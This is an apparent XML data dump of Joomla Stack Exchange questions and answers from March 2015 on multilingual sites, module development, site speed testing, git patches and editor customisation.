  <row Id="9028" PostTypeId="2" ParentId="9027" CreationDate="2015-03-12T10:56:42.340" Score="2" Body="&lt;p&gt;You have &lt;code&gt;width: 1355px;&lt;/code&gt; being applied to your table element which holds the content. This styling is being applied inline, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table style=&quot;width: 1355px; height: 378px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where exactly this is coming from, but the best thing to do would be to open the article in the Joomla backend, then view the source code for the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of all honesty though, I would &lt;strong&gt;refrain from using tables&lt;/strong&gt; to structure your content unless you have data that needs to be displayed in a table format.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-12T10:56:42.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="1" CreationDate="2015-03-12T11:28:44.263" Score="3" ViewCount="1743" Body="&lt;p&gt;Wonderful people smarter than me,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created a multilingual site on Joomla 3.2.3 running PHP 5.5.12 and mySQL 5.6.17 using a Shape 5 template with vertex. Virtuemart 3.0.0 is also installed on the site. The two languages are English and simplified Chinese. &lt;/li&gt;&#xA;&lt;li&gt;I installed the required languages. (including Virtuemarts translation packs)&lt;/li&gt;&#xA;&lt;li&gt;I set up the content languages . The default site language is English.&lt;/li&gt;&#xA;&lt;li&gt;I created article categories &quot;en&quot; and &quot;Zh&quot; as well as appropriate subcategories for the articles.&lt;/li&gt;&#xA;&lt;li&gt;I left the default home page to the default menu, which I renamed Main Menu All. In total there are 5 menus for each language. In total 15 menus, 5 for marked ALL, 5 duplicates for ENglish, and 5 for the Chinese&lt;/li&gt;&#xA;&lt;li&gt;I created Main Menu En, Zh, and the menu module for each.&lt;/li&gt;&#xA;&lt;li&gt;I assigned a language-specific default home page for each language.&lt;/li&gt;&#xA;&lt;li&gt;I set all modules, menus, articles and categories to be shown only in their respective language.&lt;/li&gt;&#xA;&lt;li&gt;I have installed and published the language switcher along with language filter.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After finishing this it will only display the two language flags. Nothing else, nor are the flags clickable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed the multilingual demo site a few times and searched this forum as well scoured the internet for tutorials and have double checked my process and it seems to be have been followed correctly but I cant get anything to display. I've been unable to find someone else experiencing the same problem, lucky me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firebug doesn't give me much other than to let me know a few modules loaded but fail to display anything. I get an error message on the console saying that the background image its searching for is not found. It's looking in ´rui/images/backgroundimage.jpg´ but should be looking in ´rui/benben/images/backgroundimages´. So maybe its a url problem?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wait! Theres more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive played with the urls to see if I manually type them perhaps something its just the main age that wont display, nope. Nothing but the two language flags and I cant get to another sub page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried switching template to a template bundled with Joomla and a few modules display but most is missing and the language options are non existent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or help would be greatly appreciated. Thanks in advance for your time and kindness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  Looking at my other multilingual site I realized that perhaps creating menus for each language, other than the Main Menu, is perhaps not necessary as thats how my other multilingual site is set up. It  works just fine. So went ahead and deleted the language specif menus other than the Main menus, simply assigning one menu item for each language on the non-main menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example being:&#xA;- Main menu all&#xA;1. dresses&#xA;2. bananas&#xA;3  boots&#xA;- Main menu Chinese&#xA;1. dresses&#xA;2. bananas&#xA;3  boots&#xA;- Main menu English&#xA;1. dresses&#xA;2. bananas&#xA;3  boots&#xA;- Bottom Menu&#xA;1. FAQs (En)&#xA;2. FAQS (ZH)&#xA;3. Chunky Monkey (EN)&#xA;4. Chunkey Monkey (Zh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on. Sadly, this did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the english only backup of the site and starting all over again. Went ahead and updated to joomla 3.4.  Fingers crossed it works this time.&lt;/p&gt;&#xA;" OwnerUserId="3865" LastEditorUserId="3865" LastEditDate="2015-03-14T11:24:13.703" LastActivityDate="2016-12-23T11:52:01.603" Title="Setting up multilingual site. Followed the tutorials and now ONLY the language flags appear" Tags="|joomla-3.x|multilingual|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostTypeId="1" CreationDate="2015-03-12T12:47:27.520" Score="1" ViewCount="783" Body="&lt;p&gt;I need to create a website for my software and I'm researching Joomla as a tool to make it a reality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to integrate my documentation directly into the website. The documentation is a huge doxygen-generated pile of hundreds of HTML files. &lt;a href=&quot;http://geogen.cz/ggs_reference/latest/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is what it looks like on its own - I want everything with exception of the main banner and footer to become part of the Joomla website as seamlessly as possible (so that the documentation pages have the same navigation top portion and footer as the rest of the website, in addition to their own navigation bar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation will be regenerated with each version of the software (so it needs to be easy to update the content from the HTML files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a practical way to do this?&lt;/strong&gt; I can modify templates for the documentation in any way necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Also, is there a way to integrate such static content with Joomla search?&lt;/p&gt;&#xA;" OwnerUserId="3866" LastEditorUserId="3866" LastEditDate="2015-03-12T14:37:43.020" LastActivityDate="2015-04-12T15:58:39.593" Title="Integrating extensive static HTML &quot;site&quot; into a Joomla website" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="2" ParentId="8953" CreationDate="2015-03-12T13:42:27.850" Score="3" Body="&lt;p&gt;Here is how I ended up getting it to work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$live_site = substr(JURI::root(), 0, -1);&#xA;$app    = JApplication::getInstance('site');&#xA;$router = &amp;amp;$app-&amp;gt;getRouter();&#xA;$url = $router-&amp;gt;build($live_site.'/index.php?option=com_icagenda&amp;amp;view=list&amp;amp;layout=event&amp;amp;id=' . $id . '&amp;amp;Itemid=' . $Itemid);&#xA;$url= $url-&amp;gt;toString();&#xA;$eventLink= str_replace($live_site .'/administrator', $live_site, $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure though what I should do with that $app afterwards...&lt;/p&gt;&#xA;" OwnerUserId="2321" LastActivityDate="2015-03-12T13:42:27.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostTypeId="1" AcceptedAnswerId="9045" CreationDate="2015-03-12T15:40:55.500" Score="8" ViewCount="713" Body="&lt;p&gt;I am trying to improve the speed of a site - however when I go to Pingdom to test: &lt;a href=&quot;http://tools.pingdom.com/fpt/&quot;&gt;http://tools.pingdom.com/fpt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get wildly different times even though I haven't made any changes. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;8.92s&lt;/li&gt;&#xA;&lt;li&gt;3.68s&lt;/li&gt;&#xA;&lt;li&gt;11.40s&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also - I get the same issue with gtmetrix (&lt;a href=&quot;http://gtmetrix.com/&quot;&gt;http://gtmetrix.com/&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result I can't tell if the performance changes I have made make a difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - how does one test for site speed?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-03-25T21:07:20.930" Title="Testing Joomla site speed" Tags="|performance|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostTypeId="1" CreationDate="2015-03-12T16:46:27.997" Score="3" ViewCount="144" Body="&lt;p&gt;I am manually translating some language files from en-GB to ca-ES (just the front-ends). Once translated and properly renamed, I place them in language/ca-ES but they are not picked up by my Joomla system. Am I missing something? It's happening all the time, so I guess I am. Can you help?&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dani&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2015-07-02T12:32:46.783" Title="Why are language files not being picked up?" Tags="|language|joomla-3.4|translation|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9035" PostTypeId="1" AcceptedAnswerId="9036" CreationDate="2015-03-12T18:45:49.373" Score="2" ViewCount="231" Body="&lt;p&gt;I have the latest stable build of Joomla installed, 3.4 at time of writing this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I get an error when trying to install zipped extension files. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No file selected. Unable to find install package&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have found this link which supplies a patch for the issue. &lt;a href=&quot;https://docs.joomla.org/J3.x:Extension_won%27t_install&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Extension_won%27t_install&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously I did not have the website setup in git, but I have since created a git in my client (Tower) for the website. I have tried to install the patch by downloading the file as 6180.patch then apply patch through the client but this fails to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else I can do to be able to upload extension zips?&lt;/p&gt;&#xA;" OwnerUserId="3712" LastEditorUserId="159" LastEditDate="2015-03-12T20:00:29.027" LastActivityDate="2015-03-12T20:00:29.027" Title="How to apply a patch from Git in order to resolve an unfixed issue?" Tags="|joomla-3.x|extensions|joomla-3.4|github|git|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostTypeId="2" ParentId="9035" CreationDate="2015-03-12T19:54:29.113" Score="2" Body="&lt;p&gt;I believe you are applying the patch incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To properly install git patches, you will need to perform a few command line functions which are explain in the following tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git/&quot; rel=&quot;nofollow&quot;&gt;https://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think you could simply perform the change manually as there are only minor tweaks required in 3 files. To see the code difference, have a look at the pull request submitted to Joomla on Github:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/6180/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/6180/files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-12T19:54:29.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="2" ParentId="9035" CreationDate="2015-03-12T19:59:04.840" Score="1" Body="&lt;p&gt;You can use a tool mostly designed for testing purposes under Joomla: &lt;a href=&quot;https://docs.joomla.org/Component_Patchtester_for_Testers&quot; rel=&quot;nofollow&quot;&gt;com_patchtester&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can directly search after the Pull Request id: 6180.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-03-12T19:59:04.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9038" PostTypeId="2" ParentId="9032" CreationDate="2015-03-12T20:06:28.293" Score="4" Body="&lt;p&gt;There are some tools used in the industry for &quot;stressing&quot; websites. They are rather complex tools and &lt;strong&gt;NOT appropriate for small websites or shared host environments.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jmeter.apache.org/&quot; rel=&quot;nofollow&quot;&gt;Apache JMeter™&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gatling.io/#/&quot; rel=&quot;nofollow&quot;&gt;Gatling&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To do comparison tests, you need to have your own server (to be able to control the infrastructure), so that you can control the load. Testing a shared host does not really provide any comparable data.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-03-25T21:07:20.930" LastActivityDate="2015-03-25T21:07:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9039" PostTypeId="1" CreationDate="2015-03-13T01:37:32.007" Score="2" ViewCount="1559" Body="&lt;p&gt;I have a situation where sometimes a block of paragraph texts or one single image needs to be wrapped in a special div. I am trying to figure out a way to do it without having to edit the HTML which would be it as simple as 'Toggle Editor' and manually add a wrap the required tag(s). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I sort of managed to achieve it was by adding the following in the Default Editor's (TinyMCE) tinymce.init function in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/editors/tinymce/tinymce.php#L768&quot; rel=&quot;nofollow&quot;&gt;extended part&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style_formats : [&#xA;    {title : 'Wrapper container', block : 'div', classes : 'wrap-div', wrapper : true}&#xA;],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this shows a new style in the editor (Format -&gt; Formats -&gt; Wrapper Container) and when I apply it, it works fine but this method requires me to edit a core file and I was wondering if there was a better solution to this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-05-26T16:52:01.477" Title="How to wrap selected blocks inside a custom html tag in article editor using TinyMCE" Tags="|content|editor|tinymce|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9040" PostTypeId="2" ParentId="9032" CreationDate="2015-03-13T06:29:02.733" Score="4" Body="&lt;p&gt;Using third party tool like pingdom, gmetrix and even Google page speed it is obvious to get variation in result. There are many factors on that page speed depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: If broser cache is enabled on site then very first check with any of this service will take longer time and after other consecutive tries it may load faster as the page is already cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With my own site &lt;a href=&quot;http://saur.in&quot; rel=&quot;nofollow&quot;&gt;http://saur.in&lt;/a&gt; (under development)&lt;br&gt;&#xA;First attempt on pingdom: 1.83s&lt;br&gt;&#xA;Second attempt: 786ms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is almost haft in time and more than double the page speed. The same way server cache plays its role too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other factors like domain name resolve, dns connectivity current traffic on your site and many more.. so result may vary. While working with performance we have to consider average response time or page load time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At last, one more thing, I should add here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a set of results from 2-3 services and check performance after every 2-3 hours. Pingdom provides testing for every minute and its free... you can try that. Try if for 24 hrs and look average result of it.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-03-13T06:29:02.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9041" PostTypeId="1" CreationDate="2015-03-13T07:09:45.133" Score="-1" ViewCount="440" Body="&lt;p&gt;I'm developing something like a content component I choose a specific item through Menu Items component and choose what item i want so that once i navigate to that menu I can see the item i choose however on the frontend model of my component the desired functionality didn't work instead of getting the &lt;strong&gt;Second Item from the table&lt;/strong&gt; it retrieves always the &lt;strong&gt;First Item&lt;/strong&gt;. see the sample snippets of my &lt;strong&gt;getData&lt;/strong&gt; and &lt;strong&gt;getState&lt;/strong&gt;. and btw &lt;strong&gt;$id&lt;/strong&gt; value must be 2 and not 1.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to fix this. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public function &amp;amp;getData($id = null) {&#xA;&#xA;    if ($this-&amp;gt;_item === null) {&#xA;        $this-&amp;gt;_item = false;&#xA;        if (empty($id)) {&#xA;        $id = $this-&amp;gt;getState('articlefile.id');&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3582" LastEditorUserId="3650" LastEditDate="2016-03-08T00:54:28.970" LastActivityDate="2016-03-08T00:54:28.970" Title="Joomla 3x MVC Component &quot;getState&quot; not working properly" Tags="|component|front-end|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="2" ParentId="9041" CreationDate="2015-03-13T07:50:29.023" Score="0" Body="&lt;p&gt;&lt;strong&gt;Closed&lt;/strong&gt; on my &quot;populateState&quot; function inside my frontend model for a single item. I changed my code to this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (isset($params_array['item_id'])) {&#xA;        $this-&amp;gt;setState('articlefile.id', $id);&#xA;        // change $params_array['item_id'] to $id&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this previous code before changing is to determine if the &lt;strong&gt;item_id&lt;/strong&gt; is already set and then it is the one assign to the &quot;articlefile.id&quot; that is why always the first row is being retrieved from the table.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-03-13T07:50:29.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostTypeId="1" CreationDate="2015-03-13T09:45:03.430" Score="1" ViewCount="420" Body="&lt;p&gt;I am creating a custom module in a warp7 master theme, and I want to get information from K2 that is used as a content management option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a sidebar and inserted a custom module (the one from helloworld tutorial). Now I want to have access k2 in there to get some specific extra field values to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you point me to what to do? I've managed to get the K2 Item id so far but I don't know how to get all the other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/strong&gt;&#xA;Inside helper.php of the module I am developing, I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getHello($params) {&#xA;    $k2params = \K2HelperUtilities::getParams('com_k2');&#xA;    $mainframe = JFactory::getApplication();&#xA;    $id = JRequest::getInt('id'); // $id is the K2 item id&#xA;    return $id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2015-03-13T09:51:03.500" LastActivityDate="2015-09-09T19:17:02.737" Title="K2 in a custom module" Tags="|joomla-3.3.x|k2|itemid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9045" PostTypeId="2" ParentId="9032" CreationDate="2015-03-13T11:20:24.160" Score="5" Body="&lt;p&gt;There are a few factors beyond your control such as the load on the server at the time and the available bandwidth between the test tool server and the target website at the time the test is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can minimise the variability of the bandwidth by creating an account (a free account is fine) on GTMetrix and logging in so you can use the advanced settings and choose a test server location close to where your target website is hosted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pingdom may have a similar option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably still need to rerun the test a few times and take an average but this will likely yield a more consistent result.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2015-03-13T21:23:27.240" LastActivityDate="2015-03-13T21:23:27.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="2" ParentId="9043" CreationDate="2015-03-13T11:57:57.647" Score="1" Body="&lt;p&gt;So after some detailed view on &lt;code&gt;mod_k2_content&lt;/code&gt;, I was able to get the method &lt;code&gt;getItems&lt;/code&gt; and change it to &lt;code&gt;getItem&lt;/code&gt;, and get a single parameterized item with some small tweaks and changes.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="1629" LastEditDate="2015-09-09T19:17:02.737" LastActivityDate="2015-09-09T19:17:02.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostTypeId="2" ParentId="9030" CreationDate="2015-03-13T14:45:53.323" Score="0" Body="&lt;p&gt;Doxygen has a lot of tools to process and generate the output in several formats. Thus, a static subdomain or subdirectory mini site is straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to load all content items into Joomla, you can import them as articles into specific categories. It is not a simple solution (like an extension). You have automate it with a script. In addition, you have to also reimport content into Joomla on every modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After being in a similar place, writing documentation on Markdown, I have opted for a subdirectory mini site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-13T14:45:53.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="2" ParentId="9029" CreationDate="2015-03-13T14:55:15.997" Score="1" Body="&lt;p&gt;The simplest way to create a multilingual site, with a consistent structure is installing based on the standard Joomla! installer. It just provides the right content organization and you can just continue building on top.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You only have to select &lt;strong&gt;Install Sample Data=None&lt;/strong&gt; in Step 3, and finally choose &lt;strong&gt;Extra steps: Install languages&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On the other hand, these are frequent tips for a multilingual site: &lt;a href=&quot;https://joomla.stackexchange.com/questions/1159/how-to-setup-a-new-multi-language-website&quot;&gt;How to setup a new multi-language website?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-03-13T14:55:15.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostTypeId="1" CreationDate="2015-03-13T15:29:19.163" Score="0" ViewCount="1747" Body="&lt;p&gt;This is a bit of a long shot, but I've posted the following question on the Joomlapolis forum a couple of days ago &amp;amp; so far no response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.4 &amp;amp; Community Builder Pro 2.0.7. I am trying to get the registration so I can use the email address as the username. On Configuration &gt; General I have Login method set to Email Address, on Configuration &gt; User Profile I have Username Fallback set to Email, in Field Management username is not required &amp;amp; not shown on Profile, Registration, or Edit. From what I've read on the Joomlapolis forum that should make the username populate from the Email field, but it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried using CB Auto Actions to set the username field to email on both Start Save Registration and After Frontend Registration, but whatever I do I just get the following error message: &quot;The username '' is already in use.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to make this work? I know that Community Builder is supposed to be able to do this out of the box, but I'm just going round and round in circles here. I'd rather not hack the code as the client needs to be able to update the components when patches/updates are released.&lt;/p&gt;&#xA;" OwnerUserId="3876" LastEditorUserId="6914" LastEditDate="2015-10-10T18:28:44.337" LastActivityDate="2016-01-08T20:00:51.913" Title="Community Builder - use email as username" Tags="|joomla-3.x|joomla-3.4|registration|community-builder|" AnswerCount="2" CommentCount="1" ClosedDate="2019-02-04T12:44:19.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="9050" PostTypeId="2" ParentId="9049" CreationDate="2015-03-13T16:03:43.227" Score="1" Body="&lt;p&gt;Username and Email are different fields. According to my experience, you can customize your site to have Email also in username field and keep a consistent interface to avoid confussions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Authentication - EMail plugin&lt;/strong&gt;, to access with the email &lt;a href=&quot;http://extensions.joomla.org/extension/authentication-email&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/authentication-email&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create language overrides, to replace the username word: COM_USERS_LOGIN_USERNAME_LABEL=Email&lt;/li&gt;&#xA;&lt;li&gt;Some forms may have to be modified to avoid asking Username and Email&lt;/li&gt;&#xA;&lt;li&gt;Even, if at the end of the day you detect an inconsistency, you can just run a query to overwrite all usernames with Emails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-13T16:03:43.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9051" PostTypeId="1" AcceptedAnswerId="10924" CreationDate="2015-03-13T16:45:16.513" Score="2" ViewCount="309" Body="&lt;p&gt;I'm using a language string in my module's XML file for the description:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;description&amp;gt;MOD_MYMODULE_DESC&amp;lt;/description&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first time I install the module, the string is NOT parsed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZ2sk.jpg&quot; alt=&quot;Module description&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I re-install or update the extension, the complete text is loaded from the language file. How can I display the complete description also the first time the module is installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The language files are declared later in the XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_mymodule.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_mymodule.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES.mod_mymodule.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES.mod_mymodule.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-25T05:27:24.713" Title="Module description string not parsed on first install" Tags="|joomla-3.x|development|extensions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9052" PostTypeId="1" CreationDate="2015-03-13T16:56:15.870" Score="0" ViewCount="279" Body="&lt;p&gt;I am trying to move the title of a custom module I built from the default top of the module to an area within the custom code (users have the ability to choose left or right in the options panel and I would like the title to be on the same side as the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to get the title with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($module-&amp;gt;showtitle) {&#xA;&#xA;echo $module-title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I still have the title above the module itself. How can I say &quot;don't show the title in the default position, show it here&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="3877" LastActivityDate="2015-03-13T18:45:38.483" Title="Position the Title of Custom Joomla Module" Tags="|joomla-3.x|module|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9054" PostTypeId="2" ParentId="9052" CreationDate="2015-03-13T18:45:38.483" Score="1" Body="&lt;p&gt;I don't know if you are using the module chrome feature correctlly, first at all you need a module.php file in a html folder inside your active template, check the beez3 template included in Joomla!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your index.php file when you call the module with a jdoc statement use the module chrome suffix like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-8&quot; style=&quot;beezDivision&quot; headerLevel=&quot;3&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the function has the same name modChrome_beezDivision&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-13T18:45:38.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9055" PostTypeId="2" ParentId="9051" CreationDate="2015-03-13T18:52:08.420" Score="3" Body="&lt;p&gt;You can use several functions when a extension it's installed if you define a script in your xml...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Installation / uninstallation script file --&amp;gt;&#xA;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use the renderPostInstallation() function in this file to render text or anything you want, this method always works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Akeeba backup extension for example it uses this script.&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-13T18:52:08.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
